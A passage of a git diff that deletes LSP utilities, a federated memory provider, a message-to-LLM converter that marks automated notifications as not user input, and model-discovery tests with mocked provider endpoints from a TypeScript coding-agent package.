GLOB_PATTERN_CHARS.test(value); -} - -export async function collectGlobMatches( - pattern: string, - cwd: string, - maxMatches: number, -): Promise<{ matches: string[]; truncated: boolean }> { - const normalizedLimit = Number.isFinite(maxMatches) - ? Math.max(1, Math.trunc(maxMatches)) - : 1; - const allMatches: string[] = []; - for await (const p of glob(pattern, { cwd })) allMatches.push(p); - if (allMatches.length > normalizedLimit) { - return { matches: allMatches.slice(0, normalizedLimit), truncated: true }; - } - return { matches: allMatches, truncated: false }; -} - -// ============================================================================= -// Hover Content Extraction -// ============================================================================= - -export function extractHoverText( - contents: - | string - | { kind: string; value: string } - | { language: string; value: string } - | unknown[], -): string { - if (typeof contents === "string") { - return contents; - } - - if (Array.isArray(contents)) { - return contents - .map((c) => - extractHoverText(c as string | { kind: string; value: string }), - ) - .join("\n\n"); - } - - if (typeof contents === "object" && contents !== null) { - if ("value" in contents && typeof contents.value === "string") { - return contents.value; - } - } - - return String(contents); -} - -// ============================================================================= -// General Utilities -// ============================================================================= - -function firstNonWhitespaceColumn(lineText: string): number { - const match = lineText.match(/\S/); - return match ? (match.index ?? 0) : 0; -} - -function findSymbolMatchIndexes( - lineText: string, - symbol: string, - caseInsensitive = false, -): number[] { - if (symbol.length === 0) return []; - const haystack = caseInsensitive ? lineText.toLowerCase() : lineText; - const needle = caseInsensitive ? symbol.toLowerCase() : symbol; - const indexes: number[] = []; - let fromIndex = 0; - while (fromIndex <= haystack.length - needle.length) { - const matchIndex = haystack.indexOf(needle, fromIndex); - if (matchIndex === -1) break; - indexes.push(matchIndex); - fromIndex = matchIndex + needle.length; - } - return indexes; -} - -function normalizeOccurrence(occurrence?: number): number { - if (occurrence === undefined || !Number.isFinite(occurrence)) return 1; - return Math.max(1, Math.trunc(occurrence)); -} - -export async function resolveSymbolColumn( - filePath: string, - line: number, - symbol?: string, - occurrence?: number, -): Promise { - const lineNumber = Math.max(1, line); - const matchOccurrence = normalizeOccurrence(occurrence); - try { - const fileText = await fsPromises.readFile(filePath, "utf-8"); - const lines = fileText.split("\n"); - const targetLine = lines[lineNumber - 1] ?? ""; - if (!symbol) { - return firstNonWhitespaceColumn(targetLine); - } - - const exactIndexes = findSymbolMatchIndexes(targetLine, symbol); - const fallbackIndexes = - exactIndexes.length > 0 - ? exactIndexes - : findSymbolMatchIndexes(targetLine, symbol, true); - if (fallbackIndexes.length === 0) { - throw new Error(`Symbol "${symbol}" not found on line ${lineNumber}`); - } - if (matchOccurrence > fallbackIndexes.length) { - throw new Error( - `Symbol "${symbol}" occurrence ${matchOccurrence} is out of bounds on line ${lineNumber} (found ${fallbackIndexes.length})`, - ); - } - return fallbackIndexes[matchOccurrence - 1]; - } catch (error: unknown) { - if (isEnoent(error)) { - throw new Error(`File not found: ${filePath}`); - } - throw error; - } -} - -export async function readLocationContext( - filePath: string, - line: number, - contextLines = 1, -): Promise { - const targetLine = Math.max(1, line); - const surrounding = Math.max(0, contextLines); - try { - const fileText = await fsPromises.readFile(filePath, "utf-8"); - const lines = fileText.split("\n"); - if (lines.length === 0) return []; - - const startLine = Math.max(1, targetLine - surrounding); - const endLine = Math.min(lines.length, targetLine + surrounding); - const context: string[] = []; - for (let currentLine = startLine; currentLine <= endLine; currentLine++) { - const content = lines[currentLine - 1] ?? ""; - context.push(`${currentLine}: ${content}`); - } - return context; - } catch (error: unknown) { - if (isEnoent(error)) { - return []; - } - throw error; - } -} - -// ============================================================================= -// Call Hierarchy Formatting -// ============================================================================= - -export function formatCallHierarchyItem( - item: CallHierarchyItem, - cwd: string, -): string { - const icon = symbolKindToIcon(item.kind); - const detail = item.detail ? ` ${item.detail}` : ""; - const relPath = path.relative(cwd, uriToFile(item.uri)); - const line = item.selectionRange.start.line + 1; - return `${icon} ${item.name}${detail} @ ${relPath}:${line}`; -} - -// ============================================================================= -// Signature Help Formatting -// ============================================================================= - -function extractDocText(doc: string | MarkupContent | undefined): string { - if (!doc) return ""; - if (typeof doc === "string") return doc; - return doc.value; -} - -export function formatSignatureHelp(result: SignatureHelp): string { - if (!result.signatures || result.signatures.length === 0) { - return "No signature information"; - } - - const activeIdx = result.activeSignature ?? 0; - const sig = result.signatures[activeIdx] ?? result.signatures[0]; - const activeParam = result.activeParameter ?? sig.activeParameter; - - const lines: string[] = [sig.label]; - - const sigDoc = extractDocText(sig.documentation); - if (sigDoc) { - lines.push("", sigDoc); - } - - if (sig.parameters && sig.parameters.length > 0) { - lines.push("", "Parameters:"); - for (let i = 0; i < sig.parameters.length; i++) { - const p = sig.parameters[i]; - const label = - typeof p.label === "string" - ? p.label - : sig.label.slice(p.label[0], p.label[1]); - const active = i === activeParam ? " <-- active" : ""; - const doc = extractDocText(p.documentation); - const docSuffix = doc ? ` — ${doc}` : ""; - lines.push(` ${label}${docSuffix}${active}`); - } - } - - return lines.join("\n"); -} diff --git a/packages/pi-coding-agent/src/core/memory/federated-memory.test.ts b/packages/pi-coding-agent/src/core/memory/federated-memory.test.ts deleted file mode 100644 index 483a3facf..000000000 --- a/packages/pi-coding-agent/src/core/memory/federated-memory.test.ts +++ /dev/null @@ -1,43 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { FederatedMemoryProvider } from "./federated-memory.js"; - -describe("FederatedMemoryProvider", () => { - it("search_returns_locally_stored_records_by_text_summary_and_tags", async () => { - const provider = new FederatedMemoryProvider(); - await provider.store({ - id: "mem-1", - text: "Stale runtime projections block autonomous dispatch.", - tags: ["uok", "diagnostics"], - }); - await provider.store({ - id: "mem-2", - summary: "Widget rendering should fail open.", - tags: ["ui"], - }); - - assert.deepEqual( - (await provider.search("runtime")).map((entry) => entry.id), - ["mem-1"], - ); - assert.deepEqual( - (await provider.search("widget")).map((entry) => entry.id), - ["mem-2"], - ); - assert.deepEqual( - (await provider.search("diagnostics")).map((entry) => entry.id), - ["mem-1"], - ); - }); - - it("search_honors_limit_and_empty_query_returns_recent_local_records", async () => { - const provider = new FederatedMemoryProvider(); - await provider.store({ id: "mem-1", text: "one" }); - await provider.store({ id: "mem-2", text: "two" }); - - const results = await provider.search("", { limit: 1 }); - - assert.equal(results.length, 1); - assert.equal(results[0]?.id, "mem-1"); - }); -}); diff --git a/packages/pi-coding-agent/src/core/memory/federated-memory.ts b/packages/pi-coding-agent/src/core/memory/federated-memory.ts deleted file mode 100644 index da587b637..000000000 --- a/packages/pi-coding-agent/src/core/memory/federated-memory.ts +++ /dev/null @@ -1,70 +0,0 @@ -import type { - MemoryProvider, - MemoryRecord, -} from "@singularity-forge/pi-agent-core"; - -function recordId(memory: MemoryRecord): string { - return String(memory.id ?? Date.now()); -} - -function searchableText(memory: MemoryRecord): string { - return [ - memory.id, - memory.text, - memory.summary, - ...(Array.isArray(memory.tags) ? memory.tags : []), - ] - .filter((part): part is string => typeof part === "string") - .join(" ") - .toLowerCase(); -} - -function matchesQuery(memory: MemoryRecord, query: string): boolean { - const normalizedQuery = query.trim().toLowerCase(); - if (!normalizedQuery) return true; - return searchableText(memory).includes(normalizedQuery); -} - -/** - * Provides local-first memory search with a future federated sync boundary. - * - * Purpose: let swarm/critic features share durable learnings through the same - * MemoryProvider contract while remote federation is still behind a transport. - * - * Consumer: predictive execution and future UOK background critic integrations. - */ -export class FederatedMemoryProvider implements MemoryProvider { - private localCache = new Map(); - private remoteEndpoint?: string; - - constructor(remoteEndpoint?: string) { - this.remoteEndpoint = remoteEndpoint; - } - - async search( - query: string, - options?: { limit?: number; threshold?: number }, - ): Promise { - const limit = Math.max(1, options?.limit ?? 20); - const localResults = Array.from(this.localCache.values()) - .filter((memory) => matchesQuery(memory, query)) - .slice(0, limit); - - if (!this.remoteEndpoint || localResults.length >= limit) { - return localResults; - } - - // Remote federation intentionally remains a no-op until the daemon RPC - // contract exists. Keeping this boundary explicit avoids fake network - // behavior while preserving the constructor/API shape. - return localResults; - } - - async store(memory: MemoryRecord): Promise { - this.localCache.set(recordId(memory), memory); - - if (!this.remoteEndpoint) return; - // Future daemon sync belongs here; storage must stay local-first and - // non-blocking for agent loop callers. - } -} diff --git a/packages/pi-coding-agent/src/core/messages.test.ts b/packages/pi-coding-agent/src/core/messages.test.ts deleted file mode 100644 index a55bb89db..000000000 --- a/packages/pi-coding-agent/src/core/messages.test.ts +++ /dev/null @@ -1,119 +0,0 @@ -/** - * messages.test.ts — Tests for convertToLlm custom message handling. - * - * Reproduction test for #3026: background job completion notifications - * delivered as custom messages must be clearly distinguishable from - * user-typed input when converted to LLM messages. - */ - -import assert from "node:assert/strict"; -import { test } from "vitest"; -import { type CustomMessage, convertToLlm } from "./messages.js"; - -/** Extract the first content block from a message, asserting array content. */ -function firstTextBlock(msg: ReturnType[number]) { - const { content } = msg; - assert.ok(Array.isArray(content), "Expected content to be an array"); - const block = content[0]; - assert.ok( - typeof block === "object" && block !== null, - "Expected first block to be an object", - ); - return block; -} - -test("convertToLlm wraps custom messages with system notification prefix", () => { - const customMsg: CustomMessage = { - role: "custom", - customType: "async_job_result", - content: "**Background job done: bg_abc123** (sleep 2, 2.1s)\n\ndone", - display: true, - timestamp: Date.now(), - }; - - const result = convertToLlm([customMsg]); - assert.equal(result.length, 1); - assert.equal(result[0].role, "user"); - - // The content must include a system notification wrapper so the LLM - // does not confuse it with user input (#3026). - const text = firstTextBlock(result[0]); - assert.equal(text.type, "text"); - assert.ok( - "text" in text && text.text.includes("[system notification"), - "Custom message should be wrapped with system notification marker", - ); -}); - -test("convertToLlm wraps custom messages with array content", () => { - const customMsg: CustomMessage = { - role: "custom", - customType: "bg-shell-status", - content: [ - { type: "text", text: "Background processes:\n ✓ bg1 dev-server :3000" }, - ], - display: false, - timestamp: Date.now(), - }; - - const result = convertToLlm([customMsg]); - assert.equal(result.length, 1); - assert.equal(result[0].role, "user"); - - const text = firstTextBlock(result[0]); - assert.equal(text.type, "text"); - assert.ok( - "text" in text && text.text.includes("[system notification"), - "Custom message with array content should be wrapped with system notification marker", - ); -}); - -test("convertToLlm includes customType in notification wrapper", () => { - const customMsg: CustomMessage = { - role: "custom", - customType: "async_job_result", - content: "job output here", - display: true, - timestamp: Date.now(), - }; - - const result = convertToLlm([customMsg]); - const text = firstTextBlock(result[0]); - assert.ok( - "text" in text && text.text.includes("async_job_result"), - "Notification wrapper should include the customType for context", - ); -}); - -test("convertToLlm notification wrapper instructs LLM not to treat as user input", () => { - const customMsg: CustomMessage = { - role: "custom", - customType: "async_job_result", - content: "**Background job done: bg_abc123** (sleep 2, 2.1s)\n\ndone", - display: true, - timestamp: Date.now(), - }; - - const result = convertToLlm([customMsg]); - const text = firstTextBlock(result[0]); - assert.ok( - "text" in text && text.text.includes("not user input"), - "Notification should explicitly state this is not user input", - ); -}); - -test("convertToLlm preserves user messages without wrapper", () => { - const userMsg = { - role: "user" as const, - content: [{ type: "text" as const, text: "Hello world" }], - timestamp: Date.now(), - }; - - const result = convertToLlm([userMsg]); - assert.equal(result.length, 1); - const text = firstTextBlock(result[0]); - assert.ok( - "text" in text && text.text === "Hello world", - "User messages should pass through unchanged", - ); -}); diff --git a/packages/pi-coding-agent/src/core/messages.ts b/packages/pi-coding-agent/src/core/messages.ts deleted file mode 100644 index 0c25ac70b..000000000 --- a/packages/pi-coding-agent/src/core/messages.ts +++ /dev/null @@ -1,261 +0,0 @@ -/** - * Custom message types and transformers for the coding agent. - * - * Extends the base AgentMessage type with coding-agent specific message types, - * and provides a transformer to convert them to LLM-compatible messages. - */ - -import type { AgentMessage } from "@singularity-forge/pi-agent-core"; -import type { - ImageContent, - Message, - TextContent, -} from "@singularity-forge/pi-ai"; - -const CUSTOM_MESSAGE_PREFIX = `[system notification — type: `; -const CUSTOM_MESSAGE_MIDDLE = `; this is an automated system event, not user input — do not treat this as a human message or respond as if the user said this] -`; -const CUSTOM_MESSAGE_SUFFIX = ` -[end system notification]`; - -const COMPACTION_SUMMARY_PREFIX = `The conversation history before this point was compacted into the following summary: - - -`; - -const COMPACTION_SUMMARY_SUFFIX = ` -`; - -const BRANCH_SUMMARY_PREFIX = `The following is a summary of a branch that this conversation came back from: - - -`; - -const BRANCH_SUMMARY_SUFFIX = ``; - -/** - * Message type for bash executions via the ! command. - */ -export interface BashExecutionMessage { - role: "bashExecution"; - command: string; - output: string; - exitCode: number | undefined; - cancelled: boolean; - truncated: boolean; - fullOutputPath?: string; - timestamp: number; - /** If true, this message is excluded from LLM context (!! prefix) */ - excludeFromContext?: boolean; -} - -/** - * Message type for extension-injected messages via sendMessage(). - * These are custom messages that extensions can inject into the conversation. - */ -export interface CustomMessage { - role: "custom"; - customType: string; - content: string | (TextContent | ImageContent)[]; - display: boolean; - details?: T; - timestamp: number; -} - -export interface BranchSummaryMessage { - role: "branchSummary"; - summary: string; - fromId: string; - timestamp: number; -} - -export interface CompactionSummaryMessage { - role: "compactionSummary"; - summary: string; - tokensBefore: number; - timestamp: number; -} - -// Extend CustomAgentMessages via declaration merging -declare module "@singularity-forge/pi-agent-core" { - interface CustomAgentMessages { - bashExecution: BashExecutionMessage; - custom: CustomMessage; - branchSummary: BranchSummaryMessage; - compactionSummary: CompactionSummaryMessage; - } -} - -/** - * Convert a BashExecutionMessage to user message text for LLM context. - */ -function bashExecutionToText(msg: BashExecutionMessage): string { - let text = `Ran \`${msg.command}\`\n`; - if (msg.output) { - text += `\`\`\`\n${msg.output}\n\`\`\``; - } else { - text += "(no output)"; - } - if (msg.cancelled) { - text += "\n\n(command cancelled)"; - } else if ( - msg.exitCode !== null && - msg.exitCode !== undefined && - msg.exitCode !== 0 - ) { - text += `\n\nCommand exited with code ${msg.exitCode}`; - } - if (msg.truncated && msg.fullOutputPath) { - text += `\n\n[Output truncated. Full output: ${msg.fullOutputPath}]`; - } - return text; -} - -export function createBranchSummaryMessage( - summary: string, - fromId: string, - timestamp: string, -): BranchSummaryMessage { - return { - role: "branchSummary", - summary, - fromId, - timestamp: new Date(timestamp).getTime(), - }; -} - -export function createCompactionSummaryMessage( - summary: string, - tokensBefore: number, - timestamp: string, -): CompactionSummaryMessage { - return { - role: "compactionSummary", - summary: summary, - tokensBefore, - timestamp: new Date(timestamp).getTime(), - }; -} - -/** Convert CustomMessageEntry to AgentMessage format */ -export function createCustomMessage( - customType: string, - content: string | (TextContent | ImageContent)[], - display: boolean, - details: unknown | undefined, - timestamp: string, -): CustomMessage { - return { - role: "custom", - customType, - content, - display, - details, - timestamp: new Date(timestamp).getTime(), - }; -} - -/** - * Transform AgentMessages (including custom types) to LLM-compatible Messages. - * - * This is used by: - * - Agent's transormToLlm option (for prompt calls and queued messages) - * - Compaction's generateSummary (for summarization) - * - Custom extensions and tools - */ -export function convertToLlm(messages: AgentMessage[]): Message[] { - return messages - .map((m): Message | undefined => { - switch (m.role) { - case "bashExecution": - // Skip messages excluded from context (!! prefix) - if (m.excludeFromContext) { - return undefined; - } - return { - role: "user", - content: [{ type: "text", text: bashExecutionToText(m) }], - timestamp: m.timestamp, - }; - case "custom": { - const prefix = - CUSTOM_MESSAGE_PREFIX + m.customType + CUSTOM_MESSAGE_MIDDLE; - if (typeof m.content === "string") { - return { - role: "user", - content: [ - { - type: "text" as const, - text: prefix + m.content + CUSTOM_MESSAGE_SUFFIX, - }, - ], - timestamp: m.timestamp, - }; - } - // Array content: wrap the first text element with prefix, append suffix to last text element - const contentArr = m.content as Array<{ - type: string; - text?: string; - [k: string]: unknown; - }>; - const lastTextIdx = contentArr.reduce( - (acc, c, i) => (c.type === "text" ? i : acc), - -1, - ); - const wrapped = contentArr.map((c, i) => { - if (c.type !== "text") return c; - let text = c.text ?? ""; - if (i === 0) text = prefix + text; - if (i === lastTextIdx) text = text + CUSTOM_MESSAGE_SUFFIX; - return { ...c, text }; - }); - // If no text elements exist, prepend one with the wrapper - if (lastTextIdx === -1) { - wrapped.unshift({ - type: "text" as const, - text: prefix + CUSTOM_MESSAGE_SUFFIX, - }); - } - return { - role: "user", - content: wrapped as typeof m.content, - timestamp: m.timestamp, - }; - } - case "branchSummary": - return { - role: "user", - content: [ - { - type: "text" as const, - text: BRANCH_SUMMARY_PREFIX + m.summary + BRANCH_SUMMARY_SUFFIX, - }, - ], - timestamp: m.timestamp, - }; - case "compactionSummary": - return { - role: "user", - content: [ - { - type: "text" as const, - text: - COMPACTION_SUMMARY_PREFIX + - m.summary + - COMPACTION_SUMMARY_SUFFIX, - }, - ], - timestamp: m.timestamp, - }; - case "user": - case "assistant": - case "toolResult": - return m; - default: - // biome-ignore lint/correctness/noSwitchDeclarations: fine - const _exhaustiveCheck: never = m; - return undefined; - } - }) - .filter((m) => m !== undefined); -} diff --git a/packages/pi-coding-agent/src/core/model-discovery.test.ts b/packages/pi-coding-agent/src/core/model-discovery.test.ts deleted file mode 100644 index 8c835267b..000000000 --- a/packages/pi-coding-agent/src/core/model-discovery.test.ts +++ /dev/null @@ -1,518 +0,0 @@ -import assert from "node:assert/strict"; -import { describe, it } from "vitest"; -import { - DISCOVERY_TTLS, - getDefaultTTL, - getDiscoverableCatalogSources, - getDiscoverableProviders, - getDiscoveryAdapter, -} from "./model-discovery.js"; - -// ─── getDiscoveryAdapter ───────────────────────────────────────────────────── - -describe("getDiscoveryAdapter", () => { - it("returns an adapter for openai", () => { - const adapter = getDiscoveryAdapter("openai"); - assert.equal(adapter.provider, "openai"); - assert.equal(adapter.supportsDiscovery, false); - }); - - it("returns an adapter for ollama", () => { - const adapter = getDiscoveryAdapter("ollama"); - assert.equal(adapter.provider, "ollama"); - assert.equal(adapter.supportsDiscovery, false); - }); - - it("returns an adapter for ollama-cloud", () => { - const adapter = getDiscoveryAdapter("ollama-cloud"); - assert.equal(adapter.provider, "ollama-cloud"); - assert.equal(adapter.supportsDiscovery, true); - assert.equal(adapter.requiresAuthForDiscovery, false); - }); - - it("returns an adapter for openrouter", () => { - const adapter = getDiscoveryAdapter("openrouter"); - assert.equal(adapter.provider, "openrouter"); - assert.equal(adapter.supportsDiscovery, true); - assert.equal(adapter.requiresAuthForDiscovery, false); - }); - - it("returns adapters for direct live-listed providers", () => { - for (const provider of ["zai", "minimax", "mistral"]) { - const adapter = getDiscoveryAdapter(provider); - assert.equal(adapter.provider, provider); - assert.equal(adapter.supportsDiscovery, true); - assert.notEqual(adapter.sourceType, "catalog"); - } - }); - - it("returns an adapter for singularity-memory", () => { - const adapter = getDiscoveryAdapter("singularity-memory"); - assert.equal(adapter.provider, "singularity-memory"); - assert.equal(adapter.supportsDiscovery, true); - assert.equal(adapter.sourceType, "catalog"); - assert.equal(adapter.requiresAuthForDiscovery, false); - }); - - it("returns an adapter for google", () => { - const adapter = getDiscoveryAdapter("google"); - assert.equal(adapter.provider, "google"); - assert.equal(adapter.supportsDiscovery, false); - }); - - it("returns a static adapter for anthropic", () => { - const adapter = getDiscoveryAdapter("anthropic"); - assert.equal(adapter.provider, "anthropic"); - assert.equal(adapter.supportsDiscovery, false); - }); - - it("returns a static adapter for bedrock", () => { - const adapter = getDiscoveryAdapter("bedrock"); - assert.equal(adapter.provider, "bedrock"); - assert.equal(adapter.supportsDiscovery, false); - }); - - it("returns a static adapter for unknown providers", () => { - const adapter = getDiscoveryAdapter("unknown-provider"); - assert.equal(adapter.provider, "unknown-provider"); - assert.equal(adapter.supportsDiscovery, false); - }); - - it("static adapter fetchModels returns empty array", async () => { - const adapter = getDiscoveryAdapter("anthropic"); - const models = await adapter.fetchModels("key"); - assert.deepEqual(models, []); - }); -}); - -// ─── getDiscoverableProviders ──────────────────────────────────────────────── - -describe("getDiscoverableProviders", () => { - it("returns only providers that support discovery", () => { - const providers = getDiscoverableProviders(); - assert.deepEqual(providers, [ - "ollama-cloud", - "openrouter", - "zai", - "minimax", - "xiaomi", - "mistral", - ]); - assert.ok(!providers.includes("ollama")); - assert.ok(!providers.includes("openai")); - assert.ok(!providers.includes("singularity-memory")); - assert.ok(!providers.includes("google")); - assert.ok(!providers.includes("anthropic")); - assert.ok(!providers.includes("bedrock")); - }); - - it("returns an array of strings", () => { - const providers = getDiscoverableProviders(); - assert.ok(Array.isArray(providers)); - for (const p of providers) { - assert.equal(typeof p, "string"); - } - }); -}); - -// ─── getDiscoverableCatalogSources ─────────────────────────────────────────── - -describe("getDiscoverableCatalogSources", () => { - it("returns memory catalog sources, not AI providers", () => { - assert.deepEqual(getDiscoverableCatalogSources(), ["singularity-memory"]); - }); -}); - -// ─── getDefaultTTL ─────────────────────────────────────────────────────────── - -describe("getDefaultTTL", () => { - it("returns default TTL for local ollama", () => { - assert.equal(getDefaultTTL("ollama"), 24 * 60 * 60 * 1000); - }); - - it("returns default TTL for openai", () => { - assert.equal(getDefaultTTL("openai"), 24 * 60 * 60 * 1000); - }); - - it("returns 1 hour for ollama-cloud", () => { - assert.equal(getDefaultTTL("ollama-cloud"), 60 * 60 * 1000); - }); - - it("returns default TTL for google", () => { - assert.equal(getDefaultTTL("google"), 24 * 60 * 60 * 1000); - }); - - it("returns 1 hour for openrouter", () => { - assert.equal(getDefaultTTL("openrouter"), 60 * 60 * 1000); - }); - - it("returns 1 hour for direct live-listed providers", () => { - for (const provider of [ - "zai", - "minimax", - "kimi-coding", - "xiaomi", - "mistral", - ]) { - assert.equal(getDefaultTTL(provider), 60 * 60 * 1000); - } - }); - - it("returns 24 hours for unknown providers", () => { - assert.equal(getDefaultTTL("some-custom"), 24 * 60 * 60 * 1000); - }); -}); - -// ─── DISCOVERY_TTLS ────────────────────────────────────────────────────────── - -describe("DISCOVERY_TTLS", () => { - it("has expected keys", () => { - assert.ok(!("ollama" in DISCOVERY_TTLS)); - assert.ok("ollama-cloud" in DISCOVERY_TTLS); - assert.ok(!("openai" in DISCOVERY_TTLS)); - assert.ok(!("google" in DISCOVERY_TTLS)); - assert.ok("openrouter" in DISCOVERY_TTLS); - assert.ok("zai" in DISCOVERY_TTLS); - assert.ok("minimax" in DISCOVERY_TTLS); - assert.ok("kimi-coding" in DISCOVERY_TTLS); - assert.ok("xiaomi" in DISCOVERY_TTLS); - assert.ok("mistral" in DISCOVERY_TTLS); - assert.ok("singularity-memory" in DISCOVERY_TTLS); - assert.ok("default" in DISCOVERY_TTLS); - }); - - it("all values are positive numbers", () => { - for (const [, value] of Object.entries(DISCOVERY_TTLS)) { - assert.equal(typeof value, "number"); - assert.ok(value > 0); - } - }); -}); - -// ─── Singularity Memory Adapter ────────────────────────────────────────────── - -describe("singularity-memory discovery", () => { - it("uses the OpenRouter-style /v1/models endpoint and preserves source provider metadata", async () => { - const originalFetch = globalThis.fetch; - const calls: Array<{ url: string; headers?: RequestInit["headers"] }> = []; - globalThis.fetch = (async ( - input: string | URL | Request, - init?: RequestInit, - ) => { - calls.push({ url: String(input), headers: init?.headers }); - return new Response( - JSON.stringify({ - data: [ - { - id: "xiaomi/mimo-v2.5-pro", - name: "Xiaomi MiMo V2.5 Pro", - canonical_slug: "xiaomi/mimo-v2.5-pro", - context_length: 1048576, - pricing: { prompt: "0.0000004", completion: "0.000002" }, - top_provider: { max_completion_tokens: 131072 }, - architecture: { - input_modalities: ["text", "image"], - output_modalities: ["text"], - }, - x_singularity: { - provider: "xiaomi", - subprovider: "xiaomi-token-plan-ams", - api: "anthropic-messages", - base_url: "https://token-plan-ams.xiaomimimo.com/anthropic", - reasoning: true, - }, - }, - ], - }), - { status: 200 }, - ); - }) as typeof fetch; - - try { - const adapter = getDiscoveryAdapter("singularity-memory"); - const models = await adapter.fetchModels("", "http://memory.local"); - - assert.equal(calls[0]?.url, "http://memory.local/v1/models"); - assert.equal(calls[0]?.headers, undefined); - assert.deepEqual(models, [ - { - id: "mimo-v2.5-pro", - name: "Xiaomi MiMo V2.5 Pro", - provider: "xiaomi", - api: "anthropic-messages", - baseUrl: "https://token-plan-ams.xiaomimimo.com/anthropic", - contextWindow: 1048576, - maxTokens: 131072, - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0, - cacheWrite: 0, - }, - }, - ]); - } finally { - globalThis.fetch = originalFetch; - } - }); -}); - -// ─── Ollama Cloud Adapter ─────────────────────────────────────────────────── - -describe("ollama-cloud discovery", () => { - it("uses the live Ollama /v1/models endpoint", async () => { - const originalFetch = globalThis.fetch; - const calls: Array<{ url: string; headers?: RequestInit["headers"] }> = []; - globalThis.fetch = (async ( - input: string | URL | Request, - init?: RequestInit, - ) => { - calls.push({ url: String(input), headers: init?.headers }); - return new Response( - JSON.stringify({ - data: [{ id: "kimi-k2.5" }, { id: "kimi-k2.6" }], - }), - { status: 200 }, - ); - }) as typeof fetch; - - try { - const adapter = getDiscoveryAdapter("ollama-cloud"); - const models = await adapter.fetchModels("test-key"); - - assert.equal(calls[0]?.url, "https://ollama.com/v1/models"); - assert.deepEqual(calls[0]?.headers, { - Authorization: "Bearer test-key", - }); - assert.deepEqual( - models.map((m) => m.id), - ["kimi-k2.5", "kimi-k2.6"], - ); - assert.ok(models.every((m) => m.api === "openai-completions")); - assert.ok(models.every((m) => m.baseUrl === "https://ollama.com/v1")); - } finally { - globalThis.fetch = originalFetch; - } - }); - - it("falls back to /api/tags when /v1/models is unavailable", async () => { - const originalFetch = globalThis.fetch; - const calls: string[] = []; - globalThis.fetch = (async (input: string | URL | Request) => { - calls.push(String(input)); - if (calls.length === 1) { - return new Response("not found", { status: 404 }); - } - return new Response( - JSON.stringify({ - models: [{ name: "glm-5.1" }, { model: "qwen3-coder:480b" }], - }), - { status: 200 }, - ); - }) as typeof fetch; - - try { - const adapter = getDiscoveryAdapter("ollama-cloud"); - const models = await adapter.fetchModels("test-key"); - - assert.deepEqual(calls, [ - "https://ollama.com/v1/models", - "https://ollama.com/api/tags", - ]); - assert.deepEqual( - models.map((m) => m.id), - ["glm-5.1", "qwen3-coder:480b"], - ); - } finally { - globalThis.fetch = originalFetch; - } - }); -}); - -// ─── Xiaomi Adapter ───────────────────────────────────────────────────────── - -describe("xiaomi discovery", () => { - it("uses the live Xiaomi token-plan /v1/models endpoint and keeps the Anthropic execution endpoint", async () => { - const originalFetch = globalThis.fetch; - const calls: Array<{ url: string; headers?: RequestInit["headers"] }> = []; - globalThis.fetch = (async ( - input: string | URL | Request, - init?: RequestInit, - ) => { - calls.push({ url: String(input), headers: init?.headers }); - return new Response( - JSON.stringify({ - data: [ - { - id: "mimo-v2.5", - name: "MiMo V2.5", - context_length: 1048576, - max_output_tokens: 131072, - }, - { - id: "mimo-v2.5-pro", - capabilities: { reasoning: true, vision: true }, - }, - ], - }), - { status: 200 }, - ); - }) as typeof fetch; - - try { - const adapter = getDiscoveryAdapter("xiaomi"); - const models = await adapter.fetchModels("test-key"); - - assert.equal( - calls[0]?.url, - "https://token-plan-ams.xiaomimimo.com/v1/models", - ); - assert.deepEqual(calls[0]?.headers, { - Authorization: "Bearer test-key", - }); - assert.deepEqual( - models.map((m) => m.id), - ["mimo-v2.5", "mimo-v2.5-pro"], - ); - assert.ok(models.every((m) => m.provider === "xiaomi")); - assert.ok(models.every((m) => m.api === "anthropic-messages")); - assert.ok( - models.every( - (m) => - m.baseUrl === "https://token-plan-ams.xiaomimimo.com/anthropic", - ), - ); - assert.equal(models[1]?.reasoning, true); - assert.deepEqual(models[1]?.input, ["text", "image"]); - } finally { - globalThis.fetch = originalFetch; - } - }); -}); - -// ─── OpenRouter Adapter ───────────────────────────────────────────────────── - -describe("openrouter discovery", () => { - it("lists only free models from the OpenRouter model endpoint", async () => { - const originalFetch = globalThis.fetch; - const calls: Array<{ url: string; headers?: RequestInit["headers"] }> = []; - globalThis.fetch = (async ( - input: string | URL | Request, - init?: RequestInit, - ) => { - calls.push({ url: String(input), headers: init?.headers }); - return new Response( - JSON.stringify({ - data: [ - { - id: "qwen/qwen3-4b:free", - name: "Qwen 3 4B Free", - context_length: 32768, - pricing: { prompt: "0", completion: "0" }, - }, - { - id: "z-ai/glm-5.1", - name: "GLM 5.1", - context_length: 200000, - pricing: { prompt: "0.000001", completion: "0.000004" }, - }, - ], - }), - { status: 200 }, - ); - }) as typeof fetch; - - try { - const adapter = getDiscoveryAdapter("openrouter"); - const models = await adapter.fetchModels(""); - - assert.equal(calls[0]?.url, "https://openrouter.ai/api/v1/models"); - assert.equal(calls[0]?.headers, undefined); - assert.deepEqual( - models.map((m) => m.id), - ["qwen/qwen3-4b:free"], - ); - } finally { - globalThis.fetch = originalFetch; - } - }); -}); - -// ─── Direct Provider /models Adapters ─────────────────────────────────────── - -describe("direct provider discovery", () => { - it("uses provider model-list endpoints and preserves execution metadata", async () => { - const cases = [ - { - provider: "zai", - url: "https://api.z.ai/api/coding/paas/v4/models", - model: "glm-5.1", - api: "openai-completions", - baseUrl: "https://api.z.ai/api/coding/paas/v4", - }, - { - provider: "minimax", - url: "https://api.minimax.io/anthropic/v1/models", - model: "MiniMax-M2.7", - api: "anthropic-messages", - baseUrl: "https://api.minimax.io/anthropic", - }, - { - provider: "mistral", - url: "https://api.mistral.ai/v1/models", - model: "devstral-2512", - api: "mistral-conversations", - baseUrl: "https://api.mistral.ai", - }, - ]; - - for (const testCase of cases) { - const originalFetch = globalThis.fetch; - const calls: Array<{ url: string; headers?: RequestInit["headers"] }> = - []; - globalThis.fetch = (async ( - input: string | URL | Request, - init?: RequestInit, - ) => { - calls.push({ url: String(input), headers: init?.headers }); - return new Response( - JSON.stringify({ - data: [ - { - id: testCase.model, - display_name: `${testCase.provider} model`, - context_length: 262144, - max_output_tokens: 32768, - architecture: { input_modalities: ["text", "image"] }, - supported_parameters: ["reasoning"], - }, - ], - }), - { status: 200 }, - ); - }) as typeof fetch; - - try { - const adapter = getDiscoveryAdapter(testCase.provider); - const models = await adapter.fetchModels("test-key"); - - assert.equal(calls[0]?.url, testCase.url); - assert.deepEqual(calls[0]?.headers, { - Authorization: "Bearer test-key", - }); - assert.equal(models[0]?.id, testCase.model); - 